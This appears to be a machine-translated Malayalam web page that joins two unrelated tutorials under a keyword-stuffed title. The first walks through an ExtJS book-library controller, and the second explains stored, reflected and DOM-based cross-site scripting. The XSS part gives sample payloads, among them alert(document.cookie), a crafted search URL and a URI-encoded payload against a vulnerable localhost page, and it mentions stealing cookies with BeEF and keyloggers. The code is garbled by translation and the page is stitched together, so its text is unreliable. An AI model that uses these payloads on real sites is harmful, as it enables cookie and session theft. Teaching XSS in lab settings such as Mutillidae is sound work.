Inurl livre php msg മുന്നറിയിപ്പ് ധൈര്യശാലി. ExtJS-ൽ കൺട്രോളറുകൾ സൃഷ്ടിക്കുന്നു. അധിക ഓപ്പറേറ്റർമാരെ ഉപയോഗിച്ച് വാക്കുകൾക്കായി തിരയുന്നു

അവസാന അപ്ഡേറ്റ്: 11/1/2015

ആപ്ലിക്കേഷന്റെ എല്ലാ ഭാഗങ്ങളും ഒരുമിച്ച് ബന്ധിപ്പിക്കുകയും അവയെ പ്രവർത്തിക്കുകയും ചെയ്യുന്ന പ്രധാന ലിങ്കാണ് കൺട്രോളർ. കാറ്റലോഗിലേക്ക് ചേർക്കുക BookApp/ആപ്പ്/കൺട്രോളർഫയൽ Books.jsഇനിപ്പറയുന്ന ഉള്ളടക്കത്തോടൊപ്പം:

Ext.define("BookApp.controller.Books", ( വിപുലീകരിക്കുക: "Ext.app.Controller", കാഴ്ചകൾ: ["BookList", "Book"], സ്റ്റോറുകൾ: ["BookStore"], മോഡലുകൾ: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "bookwindow ബട്ടൺ": ( ക്ലിക്ക് ചെയ്യുക: this.createBook), "bookwindow ബട്ടൺ": ( ക്ലിക്ക് ചെയ്യുക: this.updateBook ), "bookwindow ബട്ടൺ": ( ക്ലിക്ക്: this.deleteBook ), "bookwindow ബട്ടൺ": ( ക്ലിക്ക്: this.clearForm ) ); // അപ്ഡേറ്റ് അപ്ഡേറ്റ്ബുക്ക്: ഫംഗ്ഷൻ(ബട്ടൺ) ( var win = button.up(" window" ), ഫോം = win.down ("ഫോം"), മൂല്യങ്ങൾ = form.getValues(), id = form.getRecord().get("id"); values.id=id; Ext.Ajax.request( ( url: "app/data/update.php", params: മൂല്യങ്ങൾ, വിജയം: പ്രവർത്തനം(പ്രതികരണം)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( "booklist").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) വേറെ( Ext.Msg.alert("അപ്‌ഡേറ്റ്","ഇതിൽ പുസ്തകം അപ്‌ഡേറ്റ് ചെയ്യുന്നതിൽ പരാജയപ്പെട്ടു ലൈബ്രറി "); ) ) );), // createBook സൃഷ്ടിക്കുന്നു: ഫംഗ്ഷൻ (ബട്ടൺ) ( var win = button.up ("window"), form = win.down ("form"), values ​​= form .getValues() ; Ext.Ajax.request(( url: "app/data/create.php", params: values, success: function(response, options)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" ,"ലൈബ്രറിയിലേക്ക് പുസ്തകം ചേർക്കുന്നതിൽ പരാജയപ്പെട്ടു"); ) )); ), // ഡിലീറ്റ്ബുക്ക് ഇല്ലാതാക്കുന്നു: ഫംഗ്‌ഷൻ(ബട്ടൺ) (var win = button.up("window"), form = win.down("form"), id = form.getRecord().get("id"); Ext.Ajax.request(( url: "app/data/delete.php", params: (id:id), success: function(response)( var data=Ext.decode(response.responseText); if(data. വിജയം)( Ext.Msg.alert("Delete",data.message); var store = Ext.widget("booklist").getStore(); var record = store.getById(id); store.remove(record) ; form.getForm.reset(); ) else( Ext.Msg.alert("ഇല്ലാതാക്കുക","ലൈബ്രറിയിൽ നിന്ന് ഒരു പുസ്തകം നീക്കം ചെയ്യുന്നതിൽ പരാജയപ്പെട്ടു"); ) ); ), clearForm: function(grid, record) ( var കാഴ്ച = Ext.widget("bookwindow"); view.down("form").getForm().reset(); ), editBook: function(grid, record) (var view = Ext.widget("bookwindow") ;view.down("form").loadRecord(record); ) );

ഇനി നമുക്ക് കൺട്രോളർ കോഡ് നോക്കാം. ആദ്യം, ഞങ്ങൾ Ext.app.Controller ക്ലാസിൽ നിന്ന് അവകാശം നേടുകയും കൺട്രോളർ മുമ്പ് സൃഷ്‌ടിച്ച കാഴ്ചകൾ, മോഡലുകൾ, സ്റ്റോറുകൾ എന്നിവയിലേക്ക് സജ്ജമാക്കുകയും ചെയ്യുന്നു:

കാഴ്‌ചകൾ: ["ബുക്ക്‌ലിസ്റ്റ്", "ബുക്ക്"], സ്റ്റോറുകൾ: ["ബുക്ക്‌സ്റ്റോർ"], മോഡലുകൾ: ["ബുക്ക്"],

അടുത്തതായി, init പാരാമീറ്ററിൽ, ഫംഗ്ഷൻ ഉപയോഗിച്ച്, ഞങ്ങൾ കാഴ്ചയിൽ ഉള്ള ബട്ടൺ ഹാൻഡ്ലറുകൾ ആരംഭിക്കുന്നു. ഘടകങ്ങളുമായി ഹാൻഡ്‌ലർമാരെ ബന്ധപ്പെടുത്താൻ നിയന്ത്രണ പ്രവർത്തനം നിങ്ങളെ സഹായിക്കുന്നു. ഈ ഫംഗ്‌ഷൻ Ext.ComponentQuery ക്ലാസ് ഉപയോഗിക്കുന്നു, ഇത് ഘടകങ്ങൾ കണ്ടെത്തുന്നതിന് ഒരു CSS ശൈലി സെലക്ടർ ഉപയോഗിക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നു. ഉദാഹരണത്തിന്, "വ്യൂപോർട്ട് > ബുക്ക്‌ലിസ്റ്റ്" എന്ന പ്രയോഗം വ്യൂപോർട്ട് ഘടകത്തിൽ നിർവചിച്ചിരിക്കുന്ന അപരനാമമുള്ള ബുക്ക്‌ലിസ്റ്റ് ഉള്ള ഘടകങ്ങൾക്കായി തിരയുന്നു. ഈ സെലക്ടർ ഒരു ബുക്ക്‌ലിസ്റ്റ് പ്രാതിനിധ്യത്തോടെ അവസാനിക്കും.

"ബുക്ക്വിൻഡോ ബട്ടൺ" എന്ന പദപ്രയോഗത്തിന് ഒരു ബട്ടൺ ലഭിക്കും, അതിന്റെ പ്രവർത്തന പ്രോപ്പർട്ടി പുതിയതായി സജ്ജീകരിച്ചിരിക്കുന്നു, അത് ബുക്ക്വിൻഡോ ഘടകത്തിൽ സ്ഥിതിചെയ്യുന്നു, അതായത്, ബുക്ക് വിൻഡോ എന്ന അപരനാമമുള്ള ബുക്ക് വ്യൂവിൽ. അതിനാൽ, നിങ്ങൾക്ക് CSS സെലക്‌ടറുകളെ പരിചയമുണ്ടെങ്കിൽ, ExtJS-ൽ സെലക്ടർമാർ എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്ന് മനസിലാക്കാൻ നിങ്ങൾക്ക് ബുദ്ധിമുട്ടുണ്ടാകില്ല.

"viewport > booklist": ( itemdblclick: this.editBook )

എല്ലാ ഹാൻഡ്‌ലർ ഫംഗ്‌ഷനുകളും init ഫംഗ്‌ഷനുശേഷം നിർവചിച്ചിരിക്കുന്നു. this.editBook ഹാൻഡ്‌ലർ തിരഞ്ഞെടുത്ത മോഡൽ വിൻഡോയിലേക്ക് ലോഡ് ചെയ്യുന്നു:

എഡിറ്റ്ബുക്ക്: ഫംഗ്ഷൻ(ഗ്രിഡ്, റെക്കോർഡ്) (വാർ വ്യൂ = Ext.widget("bookwindow"); view.down("form").loadRecord(record); )

Ext.widget രീതി ഉപയോഗിച്ച്, Ext.ComponentQuery സെലക്ടർ ഉപയോഗിച്ച് ആവശ്യമുള്ള ഘടകം ഞങ്ങൾ കണ്ടെത്തുന്നു (ഈ പദപ്രയോഗം Ext.create("widget.bookwindow") എക്‌സ്‌പ്രഷനു സമാനമായിരിക്കും) തുടർന്ന് ഡൗൺ രീതി ഉപയോഗിച്ച് അതിന്റെ ചൈൽഡ് എലമെന്റ് നേടുക. സെലക്ടർ ഉപയോഗിച്ച്. തുടർന്ന് ഞങ്ങൾ തിരഞ്ഞെടുത്ത മോഡൽ ഫോമിലേക്ക് ലോഡ് ചെയ്യുന്നു.

മോഡൽ ലോഡുചെയ്‌തതിനുശേഷം, ഞങ്ങൾക്ക് മൂന്ന് ഓപ്ഷനുകൾ ഉണ്ട്: ഒരു പുതിയ പുസ്തകം ചേർക്കുക, തിരഞ്ഞെടുത്തത് മാറ്റുക അല്ലെങ്കിൽ തിരഞ്ഞെടുത്തത് ഇല്ലാതാക്കുക. ഇവിടെയാണ് ഈ ബട്ടണുകളുടെ ഹാൻഡ്‌ലറുകൾ പ്രവർത്തിക്കുന്നത്. കൈകാര്യം ചെയ്യുന്നവർ ഒരേ തരത്തിലുള്ളവരായതിനാൽ, അവയിലൊന്ന് ഞങ്ങൾ വിശകലനം ചെയ്യും.

അപ്‌ഡേറ്റ്ബുക്ക് ഹാൻഡ്‌ലർ മാറ്റിയ പുസ്തകത്തിന്റെ ഡാറ്റ സ്വീകരിക്കുകയും സെർവറിലേക്ക് ഒരു അജാക്സ് അഭ്യർത്ഥന അയയ്ക്കുകയും ചെയ്യുന്നു:

അപ്‌ഡേറ്റ്ബുക്ക്: ഫംഗ്‌ഷൻ(ബട്ടൺ) (വാർ വിൻ = ബട്ടൺ.അപ്പ് ("വിൻഡോ"), ഫോം = വിൻ.ഡൗൺ ("ഫോം"), മൂല്യങ്ങൾ = ഫോം.ഗെറ്റ്‌വാല്യൂസ്(), ഐഡി = ഫോം.ഗെറ്റ്‌റെക്കോർഡ്().ഗെറ്റ്( "id "); values.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: values, success: function(response)( var data=Ext.decode(response. പ്രതികരണ വാചകം) ; if(data.success)( var store = Ext.widget("booklist").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Ext. Msg.alert("അപ്‌ഡേറ്റ്","ലൈബ്രറിയിലെ പുസ്തകം അപ്‌ഡേറ്റ് ചെയ്യുന്നതിൽ പരാജയപ്പെട്ടു"); ) ));),

ഹാൻഡ്‌ലർ അമർത്തപ്പെട്ട ബട്ടൺ ഒരു പാരാമീറ്ററായി സ്വീകരിക്കുന്നു, തുടർന്ന് അപ് രീതി ഉപയോഗിച്ച് നമുക്ക് ഈ ബട്ടണിന്റെ പാരന്റ് ഘടകങ്ങൾ ലഭിക്കും: ഫംഗ്ഷൻ(ബട്ടൺ) (var win= button.up("window")...

മൂല്യങ്ങൾ = form.getValues() എന്ന എക്സ്പ്രഷൻ ഉപയോഗിച്ച് നമുക്ക് ഫോം ഫീൽഡുകളുടെ എല്ലാ മൂല്യങ്ങളും ലഭിക്കും, പക്ഷേ ഡാറ്റാബേസുമായി ഇടപഴകുമ്പോൾ മാറ്റുമ്പോൾ, ഉദാഹരണത്തിന്, ഒരു ഐഡി ആവശ്യമാണ്, തുടർന്ന് ഞങ്ങൾ ഐഡിയും ചേർക്കുന്നു. മോഡൽ മൂല്യങ്ങളുടെ വേരിയബിളിലേക്ക് അപ്‌ഡേറ്റ് ചെയ്യുന്നു.

അടുത്തതായി, സെർവറിലേക്ക് പുതിയ ബുക്ക് ഡാറ്റയുള്ള ഒരു അജാക്സ് അഭ്യർത്ഥന ഞങ്ങൾ അയയ്ക്കുന്നു, മൂല്യങ്ങളുടെ വേരിയബിളിനെ അഭ്യർത്ഥനയിലേക്ക് ഒരു പാരാമീറ്ററായി കൈമാറുന്നു. ഫയൽ സ്വീകരിക്കുന്നു update.php(അത് ഫോൾഡറിൽ ഉണ്ടായിരിക്കണം BookApp/app/data) ഇതുപോലുള്ള പാസാക്കിയ പാരാമീറ്ററുകൾ സ്വീകരിക്കാം:

അവസാനം, വിജയകരമായ പ്രവർത്തനത്തിൽ, സെർവർ പ്രതികരണമായി അയയ്‌ക്കുന്ന ഫലം ഞങ്ങൾ നോക്കുന്നു, എല്ലാം ശരിയായിരുന്നുവെങ്കിൽ, ഞങ്ങൾ സെർവറിൽ നിന്ന് അപ്‌ഡേറ്റുചെയ്‌ത ഡാറ്റ ഡൗൺലോഡുചെയ്യുന്നു.

മറ്റ് രണ്ട് ഹാൻഡ്‌ലറുകളും സമാനമായ തത്വത്തിലാണ് പ്രവർത്തിക്കുന്നത്.

അവസാനം ഞങ്ങൾ ആപ്ലിക്കേഷൻ ഫയൽ മാറ്റും app.jsഅതിനാൽ മുകളിൽ സൃഷ്ടിച്ച കൺട്രോളർ ഇതുപോലെ സ്വീകരിക്കുന്നു:

Ext.application((ആവശ്യമാണ്: ["Ext.container.Viewport"], പേര്: "BookApp", appFolder: "app", കൺട്രോളറുകൾ: ["Books"], launch: function() ( Ext.create("Ext. കണ്ടെയ്‌നർ.വ്യൂപോർട്ട്", (ലേഔട്ട്: "ഫിറ്റ്", ഇനങ്ങൾ: (xtype: "ബുക്ക്‌ലിസ്റ്റ്") )); ) );

കൺട്രോളറുകളിൽ: ["ബുക്കുകൾ"] പ്രോപ്പർട്ടി ഞങ്ങൾ മുകളിൽ സൃഷ്ടിച്ച കൺട്രോളർ വ്യക്തമാക്കുന്നു.

ഇപ്പോൾ ആപ്ലിക്കേഷൻ തയ്യാറാണ്, സമാരംഭിക്കാൻ കഴിയും:

അതിനാൽ, Ext JS ആപ്ലിക്കേഷനുകൾ നിർമ്മിക്കുന്നതിന് നമുക്ക് MVC പാറ്റേൺ പ്രയോഗിക്കാൻ കഴിയും.

മറ്റ് ഉപയോക്താക്കൾ കാണുന്ന ഒരു വെബ് പേജിലേക്ക് ക്ലയന്റ്-സൈഡ് കോഡ് (ജാവാസ്ക്രിപ്റ്റ്) കുത്തിവയ്ക്കുന്നത് ഉൾപ്പെടുന്ന ഒരു അപകടസാധ്യതയാണ് ക്രോസ്-സൈറ്റ് സ്ക്രിപ്റ്റിംഗ് (XSS).

വെബ് പേജിലേക്ക് ചേർക്കുന്നതിനായി ഉപയോക്താവ് സമർപ്പിക്കുന്ന ഡാറ്റയുടെ മതിയായ ഫിൽട്ടർ ചെയ്യാത്തതാണ് അപകടത്തിന് കാരണം. ഒരു വ്യക്തമായ ഉദാഹരണത്തിലൂടെ മനസ്സിലാക്കാൻ വളരെ എളുപ്പമാണ്. ഏതെങ്കിലും അതിഥി പുസ്തകം ഓർക്കുക - ഇവ ഉപയോക്താവിൽ നിന്നുള്ള ഡാറ്റ സ്വീകരിക്കുന്നതിനും അത് പ്രദർശിപ്പിക്കുന്നതിനും രൂപകൽപ്പന ചെയ്ത പ്രോഗ്രാമുകളാണ്. അതിഥി പുസ്തകം നൽകിയ ഡാറ്റ ഒരു തരത്തിലും പരിശോധിക്കുകയോ ഫിൽട്ടർ ചെയ്യുകയോ ചെയ്യുന്നില്ല, മറിച്ച് അവ പ്രദർശിപ്പിക്കുമെന്ന് നമുക്ക് സങ്കൽപ്പിക്കുക.

നിങ്ങളുടെ ഏറ്റവും ലളിതമായ സ്ക്രിപ്റ്റ് നിങ്ങൾക്ക് വരയ്ക്കാൻ കഴിയും (പി‌എച്ച്പിയിൽ മോശം സ്ക്രിപ്റ്റുകൾ എഴുതുന്നതിനേക്കാൾ എളുപ്പമൊന്നുമില്ല - പലരും ഇത് ചെയ്യുന്നു). എന്നാൽ ഇതിനകം തന്നെ ധാരാളം റെഡിമെയ്ഡ് ഓപ്ഷനുകൾ ഉണ്ട്. ഉദാഹരണത്തിന്, Dojo, OWASP Mutillidae II എന്നിവയിൽ നിന്ന് ആരംഭിക്കാൻ ഞാൻ നിർദ്ദേശിക്കുന്നു. അവിടെയും സമാനമായ ഒരു ഉദാഹരണമുണ്ട്. ഒരു ഒറ്റപ്പെട്ട ഡോജോ പരിതസ്ഥിതിയിൽ, നിങ്ങളുടെ ബ്രൗസറിലെ ഈ ലിങ്കിലേക്ക് പോകുക: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

ഉപയോക്താക്കളിൽ ഒരാൾ നൽകിയിട്ടുണ്ടെങ്കിൽ:

വെബ് പേജ് തുടർന്ന് പ്രദർശിപ്പിക്കും:

ഹലോ! എനിക്ക് നിങ്ങളുടെ സൈറ്റ് ഇഷ്ടമാണ്.

ഉപയോക്താവ് ഇത് നൽകിയാൽ:

ഹലോ! എനിക്ക് നിങ്ങളുടെ site.alert ("Pwned") ഇഷ്ടമാണ്

അപ്പോൾ അത് ഇതുപോലെ പ്രദർശിപ്പിക്കും:

ധാരാളം സൈറ്റുകൾക്കായി ബ്രൗസറുകൾ നിരവധി കുക്കികൾ സംഭരിക്കുന്നു. ഓരോ സൈറ്റിനും സ്വയം സംരക്ഷിച്ച കുക്കികൾ മാത്രമേ സ്വീകരിക്കാൻ കഴിയൂ. ഉദാഹരണത്തിന്, example.com നിങ്ങളുടെ ബ്രൗസറിൽ ചില കുക്കികൾ സംഭരിച്ചിട്ടുണ്ട്. നിങ്ങൾ another.com സന്ദർശിക്കുകയാണെങ്കിൽ, ഈ സൈറ്റിന് (ക്ലയന്റ്, സെർവർ സ്ക്രിപ്റ്റുകൾ) example.com സംഭരിച്ച കുക്കികൾ ആക്സസ് ചെയ്യാൻ കഴിയില്ല.

example.com XSS-ന് ദുർബലമാണെങ്കിൽ, അതിനർത്ഥം നമുക്ക് എങ്ങനെയെങ്കിലും അതിൽ JavaScript കോഡ് കുത്തിവയ്ക്കാൻ കഴിയുമെന്നാണ്, കൂടാതെ example.com-ന്റെ പേരിൽ ആ കോഡ് എക്സിക്യൂട്ട് ചെയ്യപ്പെടും! ആ. ഈ കോഡ്, ഉദാഹരണത്തിന്, example.com-ന്റെ കുക്കികൾ ആക്‌സസ് ചെയ്യും.

ഉപയോക്തൃ ബ്രൗസറുകളിൽ ജാവാസ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്തിട്ടുണ്ടെന്ന് എല്ലാവരും ഓർക്കുന്നുണ്ടെന്ന് ഞാൻ കരുതുന്നു, അതായത്. XSS ന്റെ സാന്നിധ്യത്തിൽ, ഉൾച്ചേർത്ത ക്ഷുദ്ര കോഡ് വെബ്‌സൈറ്റ് പേജ് തുറന്ന ഉപയോക്താവിന്റെ ഡാറ്റയിലേക്ക് ആക്‌സസ് നേടുന്നു.

ഉൾച്ചേർത്ത കോഡിന് JavaScript ചെയ്യാൻ കഴിയുന്നതെല്ലാം ചെയ്യാൻ കഴിയും, അതായത്:

  • നിങ്ങൾ കാണുന്ന വെബ്‌സൈറ്റിന്റെ കുക്കികളിലേക്ക് പ്രവേശനം നേടുന്നു
  • പേജിന്റെ രൂപത്തിൽ എന്തെങ്കിലും മാറ്റങ്ങൾ വരുത്താൻ കഴിയും
  • ക്ലിപ്പ്ബോർഡ് ആക്സസ് ചെയ്യുന്നു
  • JavaScript പ്രോഗ്രാമുകൾ നടപ്പിലാക്കാൻ കഴിയും, ഉദാഹരണത്തിന്, കീലോഗറുകൾ (കീസ്ട്രോക്ക് ഇന്റർസെപ്റ്ററുകൾ)
  • BeEF എടുക്കുക
  • തുടങ്ങിയവ.

കുക്കികൾക്കൊപ്പം ഏറ്റവും ലളിതമായ ഉദാഹരണം:

മുന്നറിയിപ്പ് (document.cookie)

യഥാർത്ഥത്തിൽ, XSS കണ്ടുപിടിക്കാൻ മാത്രമാണ് അലേർട്ട് ഉപയോഗിക്കുന്നത്. യഥാർത്ഥ ക്ഷുദ്രകരമായ പേലോഡ് മറഞ്ഞിരിക്കുന്ന പ്രവർത്തനങ്ങൾ ചെയ്യുന്നു. ഇത് ആക്രമണകാരിയുടെ റിമോട്ട് സെർവറുമായി രഹസ്യമായി ബന്ധപ്പെടുകയും മോഷ്ടിച്ച ഡാറ്റ അതിലേക്ക് കൈമാറുകയും ചെയ്യുന്നു.

XSS തരങ്ങൾ

XSS തരങ്ങളെക്കുറിച്ച് മനസ്സിലാക്കേണ്ട ഏറ്റവും പ്രധാനപ്പെട്ട കാര്യം അവയാണ്:

  • സംഭരിച്ചു (സ്ഥിരം)
  • പ്രതിഫലിച്ചു (ചഞ്ചലമായ)

സ്ഥിരാങ്കങ്ങളുടെ ഉദാഹരണം:

  • സെർവറിൽ സംരക്ഷിച്ചിരിക്കുന്ന അതിഥി ബുക്കിൽ (അഭിപ്രായം, ഫോറം സന്ദേശം, പ്രൊഫൈൽ) ആക്രമണകാരി നൽകിയ സന്ദേശം, ഈ പേജ് പ്രദർശിപ്പിക്കാൻ ഉപയോക്താക്കൾ അഭ്യർത്ഥിക്കുമ്പോഴെല്ലാം സെർവറിൽ നിന്ന് ഡൗൺലോഡ് ചെയ്യപ്പെടും.
  • ആക്രമണകാരി സെർവർ ഡാറ്റയിലേക്ക് ആക്‌സസ് നേടി, ഉദാഹരണത്തിന്, SQL ഇൻജക്ഷൻ വഴി, കൂടാതെ ഉപയോക്താവിന് നൽകിയ ഡാറ്റയിലേക്ക് ക്ഷുദ്രകരമായ ജാവാസ്ക്രിപ്റ്റ് കോഡ് (കിലോലോഗറുകൾ അല്ലെങ്കിൽ ബീഇഎഫ് ഉപയോഗിച്ച്) അവതരിപ്പിച്ചു.

സ്ഥിരമല്ലാത്തവയുടെ ഉദാഹരണം:

  • സൈറ്റിൽ ഒരു തിരയൽ ഉണ്ട്, തിരയൽ ഫലങ്ങളോടൊപ്പം, "നിങ്ങൾ തിരഞ്ഞത്: [തിരയൽ സ്ട്രിംഗ്]" പോലെയുള്ള എന്തെങ്കിലും കാണിക്കുന്നു, കൂടാതെ ഡാറ്റ ശരിയായി ഫിൽട്ടർ ചെയ്തിട്ടില്ല. അത്തരമൊരു പേജ് അതിലേക്ക് ലിങ്കുള്ള വ്യക്തിക്ക് മാത്രം പ്രദർശിപ്പിക്കുന്നതിനാൽ, ആക്രമണകാരി സൈറ്റിന്റെ മറ്റ് ഉപയോക്താക്കൾക്ക് ലിങ്ക് അയയ്ക്കുന്നത് വരെ ആക്രമണം പ്രവർത്തിക്കില്ല. ഇരയ്ക്ക് ഒരു ലിങ്ക് അയയ്‌ക്കുന്നതിനുപകരം, ഇര സന്ദർശിക്കുന്ന ഒരു ന്യൂട്രൽ സൈറ്റിൽ നിങ്ങൾക്ക് ക്ഷുദ്രകരമായ സ്‌ക്രിപ്‌റ്റ് പ്ലേസ്‌മെന്റ് ഉപയോഗിക്കാം.

അവയും വേർതിരിച്ചറിയുന്നു (ചിലത് സ്ഥിരമല്ലാത്ത XSS കേടുപാടുകൾ, ചിലർ പറയുന്നത് ഈ തരവും സ്ഥിരമായ XSS-ന്റെ ഒരു തരം ആയിരിക്കാം):

  • DOM മോഡലുകൾ
DOM അടിസ്ഥാനമാക്കിയുള്ള XSS-ന്റെ സവിശേഷതകൾ

വളരെ ലളിതമായി പറഞ്ഞാൽ, നമ്മൾ HTML കോഡ് തുറന്നാൽ "പതിവ്" നോൺ-പെർസിസ്റ്റന്റ് XSS എന്ന ക്ഷുദ്ര കോഡ് കാണാം. ഉദാഹരണത്തിന്, ലിങ്ക് ഇതുപോലെയാണ് നിർമ്മിച്ചിരിക്കുന്നത്:

Http://example.com/search.php?q="/>അലേർട്ട്(1)

ഞങ്ങൾ ഉറവിട HTML കോഡ് തുറക്കുമ്പോൾ, ഇതുപോലുള്ള ഒന്ന് ഞങ്ങൾ കാണുന്നു:

മുന്നറിയിപ്പ്(1)" /> കണ്ടെത്തുക

ഒപ്പം DOM XSS, ഈച്ചയിൽ ബ്രൗസറിൽ രൂപപ്പെടുന്ന DOM ഘടന മാറ്റുന്നു, കൂടാതെ ജനറേറ്റ് ചെയ്ത DOM ഘടന കാണുമ്പോൾ മാത്രമേ നമുക്ക് ക്ഷുദ്ര കോഡ് കാണാൻ കഴിയൂ. HTML മാറില്ല. നമുക്ക് ഈ കോഡ് ഉദാഹരണമായി എടുക്കാം:

സൈറ്റ്:::DOM XSS ഒരു പിശക് സംഭവിച്ചു... ഫംഗ്ഷൻ OnLoad() (var foundFrag = get_fragment(); return foundFrag; ) ഫംഗ്ഷൻ get_fragment() (var r4c = "(.*?)"; var ഫലങ്ങൾ = location.hash .match(".*input=token(" + r4c + ");"); എങ്കിൽ (ഫലങ്ങൾ) (document.getElementById("default").innerHTML = ""; മടങ്ങുക (unescape(ഫലങ്ങൾ)); ) വേറെ ( റിട്ടേൺ null;) ) display_session = OnLoad(); document.write("നിങ്ങളുടെ സെഷൻ ഐഡി ഇതായിരുന്നു: " + display_session + "

")

അപ്പോൾ ബ്രൗസറിൽ നമ്മൾ കാണും:

പേജ് സോഴ്സ് കോഡ്:

നമുക്ക് വിലാസം ഇതുപോലെ രൂപപ്പെടുത്താം:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

ഇപ്പോൾ പേജ് ഇതുപോലെ കാണപ്പെടുന്നു:

എന്നാൽ നമുക്ക് HTML സോഴ്സ് കോഡ് നോക്കാം:

അവിടെ ഒന്നും മാറിയിട്ടില്ല. ഞാൻ സംസാരിക്കുന്നത് ഇതാണ്, ക്ഷുദ്ര കോഡ് തിരിച്ചറിയാൻ ഡോക്യുമെന്റിന്റെ DOM ഘടന നോക്കേണ്ടതുണ്ട്:

പ്രവർത്തിക്കുന്ന ഒരു XSS പ്രോട്ടോടൈപ്പ് ഇതാ, ഒരു യഥാർത്ഥ ആക്രമണത്തിന് ഞങ്ങൾക്ക് കൂടുതൽ സങ്കീർണ്ണമായ പേലോഡ് ആവശ്യമാണ്, അർദ്ധവിരാമത്തിന് ശേഷം ആപ്ലിക്കേഷൻ വായന നിർത്തുന്നതിനാൽ ഇത് സാധ്യമല്ല, അലേർട്ട്(1);അലേർട്ട്(2) പോലെയുള്ള ഒന്ന് ഇല്ല. ഇനി സാധ്യമാണ്. എന്നിരുന്നാലും, unescape() ന് നന്ദി, റിട്ടേൺ ഡാറ്റയിൽ ഞങ്ങൾക്ക് ഇതുപോലുള്ള ഒരു പേലോഡ് ഉപയോഗിക്കാം:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

ഞങ്ങൾ ചിഹ്നം മാറ്റിസ്ഥാപിച്ചിടത്ത്; URI-എൻകോഡ് ചെയ്ത തത്തുല്യത്തിലേക്ക്!

സ്റ്റാൻഡേർഡ് നോൺ-പെർസിസ്റ്റന്റ് ക്രോസ്-സൈറ്റ് സ്‌ക്രിപ്റ്റിങ്ങിന് ചെയ്യുന്നത് പോലെ, നമുക്ക് ഇപ്പോൾ ഒരു ക്ഷുദ്രകരമായ JavaScript പേലോഡ് എഴുതാനും ഇരയ്ക്ക് അയയ്‌ക്കാൻ ഒരു ലിങ്ക് രചിക്കാനും കഴിയും.

XSS ഓഡിറ്റർ

ഗൂഗിൾ ക്രോമിൽ (ഇപ്പോൾ ഗൂഗിൾ ക്രോം എഞ്ചിൻ ഉപയോഗിക്കുന്ന ഓപ്പറയിലും), ഈ ആശ്ചര്യം എന്നെ കാത്തിരുന്നു:

dom_xss.html:30 "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" എന്നതിൽ ഒരു സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യാൻ XSS ഓഡിറ്റർ വിസമ്മതിച്ചു. കാരണം അഭ്യർത്ഥനയ്ക്കുള്ളിൽ അതിന്റെ സോഴ്സ് കോഡ് കണ്ടെത്തി. സെർവർ "X-XSS-പ്രൊട്ടക്ഷൻ" അല്ലെങ്കിൽ "ഉള്ളടക്ക-സുരക്ഷാ-നയം" തലക്കെട്ട് അയച്ചിട്ടില്ലാത്തതിനാൽ ഓഡിറ്റർ പ്രവർത്തനക്ഷമമാക്കി.

ആ. ബ്രൗസറിന് ഇപ്പോൾ ഒരു XSS ഓഡിറ്റർ ഉണ്ട്, അത് XSS തടയാൻ ശ്രമിക്കുന്നു. ഫയർഫോക്സിന് ഇതുവരെ ഈ പ്രവർത്തനം ഇല്ല, പക്ഷേ ഇത് സമയത്തിന്റെ പ്രശ്നമാണെന്ന് ഞാൻ കരുതുന്നു. ബ്രൗസറുകളിൽ നടപ്പിലാക്കുന്നത് വിജയകരമാണെങ്കിൽ, XSS ഉപയോഗിക്കുന്നതിലെ കാര്യമായ ബുദ്ധിമുട്ടിനെക്കുറിച്ച് നമുക്ക് സംസാരിക്കാം.

ആധുനിക ബ്രൗസറുകൾ നോൺ-പെർസിസ്റ്റന്റ് XSS, DOM-അധിഷ്‌ഠിത XSS പോലുള്ള ചൂഷണ പ്രശ്‌നങ്ങളുടെ തോത് പരിമിതപ്പെടുത്താൻ നടപടികൾ കൈക്കൊള്ളുന്നുണ്ടെന്ന് ഓർക്കുന്നത് നല്ലതാണ്. ഒരു ബ്രൗസർ ഉപയോഗിച്ച് വെബ്‌സൈറ്റുകൾ പരിശോധിക്കുമ്പോൾ ഇത് ഓർമ്മിക്കേണ്ട കാര്യമാണ് - വെബ് ആപ്ലിക്കേഷൻ അപകടസാധ്യതയുള്ളതാണെന്ന് തെളിഞ്ഞേക്കാം, പക്ഷേ ബ്രൗസർ അതിനെ തടയുന്നതിനാൽ മാത്രം പോപ്പ്-അപ്പ് സ്ഥിരീകരണം നിങ്ങൾ കാണുന്നില്ല.

XSS ചൂഷണത്തിന്റെ ഉദാഹരണങ്ങൾ

ക്രോസ്-സൈറ്റ് സ്ക്രിപ്റ്റിംഗ് കേടുപാടുകൾ പ്രയോജനപ്പെടുത്താൻ ഉദ്ദേശിക്കുന്ന ആക്രമണകാരികൾ ഓരോ ദുർബലത ക്ലാസിനെയും വ്യത്യസ്തമായി സമീപിക്കണം. ഓരോ ക്ലാസിനുമുള്ള ആക്രമണ വെക്‌ടറുകൾ ഇവിടെ വിവരിച്ചിരിക്കുന്നു.

XSS കേടുപാടുകൾക്കായി, ആക്രമണങ്ങൾക്ക് BeEF ഉപയോഗിക്കാം, ഇത് വെബ്‌സൈറ്റിൽ നിന്ന് ഉപയോക്താക്കളുടെ പ്രാദേശിക പരിതസ്ഥിതിയിലേക്ക് ആക്രമണം വ്യാപിപ്പിക്കുന്നു.

സ്ഥിരമല്ലാത്ത XSS ആക്രമണത്തിന്റെ ഉദാഹരണം

